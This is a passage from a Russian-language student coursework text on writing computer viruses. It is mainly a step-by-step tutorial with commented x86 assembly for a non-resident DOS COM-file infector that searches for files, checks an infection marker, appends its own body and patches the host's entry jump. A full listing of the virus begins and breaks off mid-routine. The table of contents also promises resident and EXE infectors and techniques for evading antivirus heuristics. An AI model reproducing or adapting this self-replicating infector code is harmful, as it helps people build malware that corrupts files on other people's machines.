Вирусы

Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа

Описание работы

Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-

Содержание

ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82


ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного

Работа содержит 1 файл

virur.doc

— 1.23 Мб (Скачать)

    для расчета служит  длина заражаемого файла,которую

    DOS вместе с именем  найденного файла и  рядом  дру-

    гих его характеристик  помещает в DTA .Размер запи-

    сывается в DTA по смещению 01Ah ( младшее слово )

    1Ch ( старшее ) . Так как  длина COM - файла не мо-

    жет  быть  больше 65535  байт,  она  помещается  в

    младшее слово целиком.А  слово по смещению 01Ch об-

    нуляется !

    Вышеуказанные расчеты  можно  произвести  следующим

    образом :

 

    found_size:

       mov ax,cs:[09ah]       ;Найдем размер

                                      ;файла

    count_size:mov si,ax

       cmp ax,64000           ;Файл длиннее

                                      ;64000 байт ?

       jna toto               ;Нет ...

       jmp find_next          ;Да - тогда он

                                      ;нам не подходит

    toto:      test ax,000fh          ;Округлим размер

       jz krat_16             ;до целого числа

       or ax,000fh            ;параграфов    в

       inc ax                 ;большую сторону

    krat_16:   mov di,ax              ;И  запишем  ок-

                                      ;ругленное  зна-

                                      ;чение в DI ...

                                      ;Расчитаем сме-

                                      ;щение для пере-

                                      ;хода на код ви-

                                      ;руса ...

       sub ax,3               ;Сама    команда

                                      ;перехода  зани-

                                      ;мает три байта!

       mov byte ptr new_bytes[1],al

                                      ;Смещение найде-

       mov byte ptr new_bytes[2],ah

                                      ;но !

       mov ax,di              ;Сколько   пара-

       mov cl,4               ;графов содержит

       shr ax,cl              ;заражаемая про-

                              ;грамма ?

               dec ax                 ;Учитываем дейс-

                                      ;твие директивы

                                      ;ORG 110h ...

       mov byte ptr add_to_ds,al

                                      ;Корректирующее

       mov byte ptr add_to_ds+1,ah

                                      ;число найдено !

 

    Вы уже, конечно, поняли,что  вирус будет  округлять

    размер заражаемой программы  до целого числа параг-

    рафов в большую сторону  .Например,пусть файл имеет

    длину 401 байт .Тогда вирус  запишет в  DI значение

    416 ( 25  целых параграфов, и еще один байт  даст

    округленное значение 416 ).В " new_bytes " запише-

    тся число : 416 - 3 = 413, а  в " add_to_ds " будет

    помещено значение : 26 - 1 = 25 .

    Чтобы лучше понять  работу фрагмента,рекомендую вам

    посмотреть  пункт   1.6 . И  еще - подумайте,  за-

    чем нужна команда  " dec ax " .Надеюсь,вы без труда

    в этом разберетесь  !

 

 

           1.12 Проверяем файл на зараженность

 

    Мы, кажется,  слишком  увлеклись работой и не заме-

    тили одной очень важной детали.Ведь может случить-

    ся, что найденный нами  файл уже заражен предлагае-

    мым вирусом, а мы  об этом  даже не догадываемся  !

    Поэтому наш вирус  заразит эту программу еще  раз .В

    принципе,количество заражений  ничем не ограничено.

    Программа будет расти, пока  не достигнет  размера

    более  65535 байт,  а после этого   перестанет рабо-

    тать.Чтобы  такого не произошло, введем  проверку на

    зараженность .Например, в конец каждого заражаемо-

    го  файла будем  записывать  цифру  " 7 ", а при за-

    ражении  проверять ее наличие .

    Итак :

 

       mov ax,4200h           ;Установим ука-

       xor cx,cx              ;затель на пос-

       dec si                 ;ледний байт

       mov dx,si              ;файла ...

       int 21h

       jnc read_last

       jmp close              ;Ошибка !

 

    read_last:                        ;И считаем этот

       mov ah,3fh             ;байт в ячейку

               mov cx,1               ; " last " ...

       lea dx,last

       int 21h

       jc close               ;Ошибка !

 

       cmp last,'7'           ;" last " =" 7 "

       jne write_vir          ;Нет - дальше

       jmp find_next          ;Да- поищем дру-

                                      ;гой файл ...

 

    Можно, конечно,провести более совершенную проверку

    зараженности,нашей же  целью было просто показать,

    как защитить файлы  от повторного  заражения .Чита-

    тель при желании сам   легко внесет необходимые из-

    менения в создаваемую  программу .

 

 

              1.13 Заражаем COM - программу

 

    Наконец, подходящий  для заражения COM - файл  най-

    ден . Он еще не заражен  нашим вирусом и имеет при-

    емлемый размер . Поэтому  самое время заняться  за-

    ражением .Этот процесс  описан  в  1.3 ( см.  п.3 и

    п.4 ) .Здесь мы только его реализуем :

 

    write_vir: mov ax,4200h           ;Установим  ука-

       xor cx,cx              ;затель на конец

       mov dx,di              ;файла ...

       int 21h

       jc close               ;При ошибке -

                              ;закроем файл

               mov ah,40h             ;Запишем  в файл

               mov cx,vir_len         ;код  вируса дли-

               lea dx,vir             ;ной vir_len

               int 21h

               jc close               ;При ошибке -

                              ;закроем файл

    write_bytes:

       mov ax,4200h           ;Установим  ука-

       xor cx,cx              ;затель на нача-

       xor dx,dx              ;ло файла

       int 21h

               jc close               ;При ошибке -

                              ;закроем файл

 

               mov ah,40h             ;Запишем в  файл

               mov cx,3               ;первые три бай-

               lea dx,new_bytes       ;та ( команду

               int 21h                ;перехода ) ...

 

    close:     mov ah,3eh             ;Закроем   зара-

               int 21h               ;женный файл ...

 

    При записи первых  трех байт в  файл помещается  ко-

    манда перехода на  код вируса. Все остальное   можно

    понять из приведенных комментариев .

 

 

                 1.14 Восстанавливаем DTA

 

    Для корректной работы  зараженной программы восста-

    новим   ее DTA .Напомним,что  вирус " прячет " ее в

    массиве " old_dta ".

    Поэтому :

 

    restore_dta:

       mov cx,80h             ;Размер DTA -

                                      ;128 байт ...

       mov bx,80h             ;Смещение к DTA

       lea si,old_dta         ;Адрес массива

    dta_fresh:

       mov al,ds:[si]         ;Читаем  из  мас-

                                      ;сива "old_dta"

       mov byte ptr cs:[bx],al;байт и  перено-

                                      ;сим его в DTA

       inc bx                 ;К новому байту

       inc si                 ;

       loop dta_fresh         ;Цикл 128 раз

 

 

       1.15 Передаем управление зараженной  программе

 

    Работа  вируса окончена . Теперь он должен   отдать

    управление  программе - носителю.Как мы  выяснили,

    для этой цели достаточно  выполнить переход на  ад-

    рес  CS : 100h  . Поэтому занесем в стек  содержимое

    CS,и  затем - число 100h.А после этого  выполним ко-

    манду  RET FAR .Она  снимет  с вершины  стека  запи-

    санные  туда значения и передаст управление по  оп-

    ределяемому  ими адресу :

 

       pop ds                 ;Восстановим

                                      ;испорченный DS

       push cs                ;Занесем в стек

                                      ;регистр CS

       db 0b8h                ;Код команды

    jump:      dw 100h                ;mov ax,100h

       push ax                ;Занесем в стек

                                      ;число 100h

       retf                   ;Передача управ-

                                      ;ления на задан-

                                      ;ный адрес ...

 

 

          1.16 Область данных вирусной программы

 

    Настало  время привести данные, которыми  оперирует

    наш  вирус . Вот они :

 

    old_bytes db   0e9h               ;Исходные три

                                      ;байта  заражен-

              dw   vir_len + 0dh      ;ной программы

    old_dta   db   128 dup (0)        ;Здесь вирус

                                      ;хранит исходную

                                      ;DTA программы

    maska     db   '*.com',0          ;Маска для поис-

                                      ;ка файлов ...

    fn        db   12 dup (' '),0     ;Сюда  помещается

                                      ;имя файла -жер-

                                      ;твы ...

    new_bytes db   0e9h               ;Первые три бай-

              db   00h               ;та вируса в

              db   00h        ;файле ...

 

    last      db   0                  ;Ячейка для пос-

                                      ;леднего байта

              db   '7'                ;Последний байт

                                      ;вируса в файле

 

    Как  видим, данных не так уж и  много !

 

 

           1.17 Завершаем запускающую программу

 

    Для  завершения запускающей вирус  программы мы  ис-

    пользуем  стандартную  функцию DOS, а именно - 4Ch :

 

    vir_len   equ   $-vir             ;Длина вирусного

                                      ;кода ...

 

    prg_end:   mov ah,4ch             ;Завершение  за-

               INT 21H                ;пускающей прог-

                                      ;раммы ...

 

              db '7'                  ;Без этого  сим-

                                      ;вола вирус  за-

                                      ;разил бы сам

                                      ;себя ...

 

    prg ends                          ;Все ASM - прог-

    end start                         ;раммы  заканчи-

                                      ;ваются примерно

                                      ;так .

 

    Вы, наверное, заметили,что  в запускающей программе

    при восстановлении первых трех байт по адресу CS :

    100h записывается команда  перехода на метку " prg_

    end ".После  передачи управления на эту  метку вирус

    отдает  управление  MS DOS . Если бы в  самом начале

    нашего  вируса не было команды "jmp vir" (см.1.6),

    то запись  по адресу CS : 100h  перехода  на метку

    " prg_end " разрушила бы команды

 

               push ax

               mov ax,ds

 

    ( см.1.6 ).В результате в заражаемый файл попал бы

    вирусный  код с испорченными первыми  байтами . Это

    наверняка привело бы к полной  неработоспособности

    файла  - жертвы .В нашем же случае  будет  разрушена

    лишь  команда  " jmp vir " .Поскольку  в файл она не

    записывается, нас это не интересует .

 

 

          1.18 Текст нерезидентного COM - вируса

 

    Как видите,  вирус написан,  и пора  привести  его

    текст.Этим  мы сейчас и займемся :

 

    ; ________________________________________________

    ;|                                                |

    ;| Non - TSR COM virus                            |

    ;| Especially for my readers !                    |

    ;|________________________________________________|

 

    prg segment

       assume cs:prg,ds:prg,es:prg,ss:prg

          org 100h

 

    start:     jmp vir                ;Передача управ-

                                      ;ления вирусному

                                      ;коду ...

       org 110h

 

    vir:       push ds                ;Сохраним DS ...

                                      ;Корректируем

               mov ax,ds              ;регистр DS  ...

               db 05h                 ;Код команды

    add_to_ds: dw 0                   ; " ADD AX,00h "

       mov ds,ax              ;AX -> DS    ...

 

    fresh_bytes:

       mov al,old_bytes

       mov cs:[100h],al

       mov al,old_bytes+1

       mov cs:[101h],al

       mov al,old_bytes+2

       mov cs:[102h],al

 

       mov cx,80h             ;Размер DTA -

                                      ;128 байт ...

       mov bx,80h             ;Смещение к DTA

       lea si,old_dta         ;Адрес массива

    save_dta:

       mov al,byte ptr cs:[bx];Читаем  из DTA

                                      ;байт и  перено-

       mov ds:[si],al         ;сим  его в мас-

                                      ;сив ...

       inc bx                 ;К новому байту

       inc si                 ;

       loop save_dta          ;Цикл 128 раз

 

    find_first:

       mov ah,4eh             ;Поиск первого

                                      ;файла ...

       mov cx,00100110b       ;archive, system

                                      ;hidden

       lea dx,maska           ;Маска для поис-

Информация о работе Вирусы